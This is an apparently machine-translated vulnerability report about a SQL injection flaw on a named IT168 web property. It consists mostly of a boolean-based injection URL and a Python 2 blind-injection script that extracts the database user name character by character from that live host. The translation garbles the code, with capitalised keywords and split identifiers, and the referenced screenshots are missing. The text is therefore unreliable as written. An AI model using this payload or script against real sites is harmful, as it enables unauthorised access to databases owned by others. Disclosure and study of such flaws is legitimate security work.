SQL injection vulnerability in an important IT168 site)

SQL injection vulnerability in an important IT168 site)

An important website in IT168 has the SQL Injection Vulnerability (script attached)

Http://wp.it168.com/plugin.php? Fid = & filter = 1 & id = waterfall: threads & loads = 1 & orderby = 1 & page = & typeid = 1) and length (user ()) = 23 and (1 = 1
True:

False:

The length of the user is 23:


# Encoding = UTF-8
Import httplib
Import time
Import string
Import sys
Import random
Import urllib
Headers = {'content-type': 'application/x-www-form-urlencoded '}
Payloads = list (string. ascii_lowercase)
For I in range (0, 10 ):
Payloads. append (str (I ))
Payloads + = ['@', '_', '.', '-', '\', '']
Print 'try to retrive user :'
User =''
For I in range (1, 24 ):
For payload in payloads:

Conn = httplib. HTTPConnection ('wp .it168.com ', timeout = 3)

S = "/plugin. php? Fid = & filter = 1 & id = waterfall: threads & loads = 1 & orderby = 1 & page = & typeid = 1) and ascii (mid (user () from (% s) for (1) = % s and (1 = 1 "% (I, ord (payload ))
S = urllib. quote (s ,'?, = ,&,/')
Conn. request (method = 'get', url = s,
Headers = headers)
Html_doc = conn. getresponse (). read ()
Conn. close ()
Print '.',
# Print html_doc
If html_doc.find ('123')> 0: # True
User + = payload
Print '\ n [in progress]', user
Break
Print '\ n [Done] User is:', user